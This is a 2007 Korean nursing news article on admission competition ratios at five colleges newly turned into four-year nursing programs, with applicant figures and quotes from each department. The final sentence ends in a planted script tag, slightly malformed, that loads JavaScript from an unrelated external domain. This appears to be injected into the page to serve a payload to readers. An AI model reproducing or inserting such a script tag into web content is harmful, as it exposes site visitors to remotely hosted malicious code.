4년제 첫 출발 간호대학 6~10대 1 경쟁률
“전문직 간호사 되고 싶어 지원”
[편집국] 김현정기자 hjkim@koreanurse.or.kr 기사입력 2007-01-25 오전 09:50:50
올해 4년제 간호교육기관으로 새 출발한 성신여대, 을지대(성남), 경원대, 강릉대, 울산대 신입생 모집에 우수 학생들이 대거 지원해 관심이 집중되고 있다.
각 대학의 경쟁률을 보면 성신여대 간호대학 7.53대 1, 을지대 간호학과(성남) 9.40대 1, 경원대 간호학과 8.40대 1, 강릉대 간호학과 9.21대 1, 울산대 간호학과 6.20대 1로 나타났다. 대학 관계자들은 “단순히 경쟁률만 높게 나타난 것이 아니라 우수한 성적과 재능을 갖춘 인재들이 많이 지원했다”면서 한목소리로 기대감을 나타냈다.
◇ 성신여대 간호대학 = 성신여자대학교가 국립의료원간호대학을 승계해 간호대학으로 출범시키면서 올해 첫 신입생을 모집했다.
총 60명 정원에 452명이 지원해 7.53대 1의 경쟁률을 보였다. 가군의 경우 인문계열 5.50대 1(정원 8명/지원자 44명)과 자연계열 6.20대 1(13/80), 나군은 인문계열 9.80대 1(13/128)과 자연계열 8.30대 1(23/191)의 경쟁률을 나타냈다. 영어특기자로 3명을 뽑았는데 9명이 지원했다.
성신여대에서 성적이 우수한 학생들에게 주는 장학금 대상자에 간호대학 합격자 12명이 포함됐다. 이중 7명은 4년간 전액 장학금을, 5명은 1년 장학금을 받는다. 합격자 발표는 1월 24일에 했다.
성신여대 간호대학측은 “전문직인 간호사가 되고 싶다는 뚜렷한 목표와 의지를 갖고 지원한 우수 학생들이 많았다”면서 “4년제 간호대학으로 새롭게 출발하는 첫 구슬을 잘 꿴 것 같아 보람을 느낀다”고 밝혔다.
◇ 을지대 간호학과(성남) = 서울보건대학 간호과가 을지의대와 통합돼 4년제 간호학과로 승격되면서 올해부터 을지대 성남캠퍼스 간호학과로 명칭이 바뀌었다.
신입생 80명 모집 경쟁률은 9.40대 1이었다. 32명을 선발한 가군 전형에는 336명이 몰려 10.50대 1의 경쟁률을 기록했다. 1월 11일 합격자를 발표했다. 나군 전형은 1월 22일 합격자를 발표했으며, 48명을 선발하는데 417명이 지원해 8.70대 1의 경쟁률을 보였다.
간호학과는 성남캠퍼스 전 학과를 통틀어 최고 경쟁률을 기록한 것으로 나타났다. 전체 학과의 평균 경쟁률은 가군 8.20대 1, 나군 6.40대 1이었다.
을지대 간호학과측은 “경쟁률만 높은 것이 아니라 지원자들의 수능과 내신성적도 우수해 신입생들에 대한 기대가 크다”면서 “한국과 미국에서 간호사가 정직하고 윤리적인 전문직으로 인정받고 있다는 갤럽 여론조사결과가 나오고, 간호사가 미래 유망직종으로 손꼽히는 등 사회적 위상이 높아진 결과인 것 같다”고 말했다.
◇ 경원대 간호학과 = 경원전문대학이 경원대학교와 통합돼 경원전문대학 간호과가 4년제 간호학과로 승격됐다.
경원대 생활과학대 내에 신설된 간호학과는 신입생 40명을 모집했다. 336명이 지원해 8.40대 1의 경쟁률을 나타냈다. 특히 남학생 지원자가 많아 관심을 모았다. 2월 2일 합격자를 발표한다.
경원대 간호학과측은 “정시모집 원서접수 기간 동안 입시생과 학부모들이 직접 교수들을 찾아와 진학상담을 요청하는 사례가 많아 간호학과의 인기를 실감할 수 있었다”면서 “상위권 학생들이 대거 지원함으로써 대학 내에서 간호학과의 위상이 높아지는 계기가 됐다”고 말했다. 대학을 대표하는 우수 학과로 성장할 수 있도록 교육과 연구에 매진하겠다는 각오도 덧붙였다.
◇ 강릉대 간호학과 = 강릉대학교와 국립원주대학이 `강릉대학교(3월 개교시 명칭 변경)'로 통합되면서 국립원주대학 간호과가 4년제 간호학과로 승격됐다.
원주캠퍼스 문화산업대학에 설치된 간호학과는 올해 신입생으로 70명을 모집했다. 645명이 지원해 9.21대 1의 경쟁률을 기록했다. 이는 원주캠퍼스와 강릉캠퍼스에 있는 모든 학과와 학부 중 가장 높은 경쟁률이다. 대학 전체 경쟁률은 2.65대 1이었다. 합격자는 1월 31일 발표한다.
강릉대 간호학과측은 “강원도 전역에서 우수한 학생들이 고루 지원한 것으로 나타났다”며 “한국 간호의 미래를 이끌어 갈 우수한 인재들을 키워낼 수 있도록 최선을 다하겠다”고 말했다.
◇ 울산대 간호학과 = 울산대학교는 자연과학대학에 간호학과를 올해부터 신설했다. 울산지역에 처음으로 생겨난 4년제 간호교육기관이라 많은 관심을 모았다. 간호학과 30명 정원에 186명이 지원해 6.20대 1의 경쟁률을 보였다. 학교 전체 경쟁률인 3.10대 1의 두 배를 넘는 수준이다. 1월 24일에 합격자를 발표했다.
신생 학과인데도 우수한 학생들이 많이 지원한데 대해 대학에서는 매우 고무적으로 받아들이고 있다.
울산대측은 “신생 학과지만 이미 실습기관으로 서울아산병원과 울산대병원을 갖고 있고, 울산대 산업대학원에서 전문간호사 교육과정을 운영하고 있는 등 간호교육 인프라가 잘 구축돼 있는 점을 학생들이 높이 평가한 것으로 보인다”?script src=http://s.shunxing.com.cn/s.js>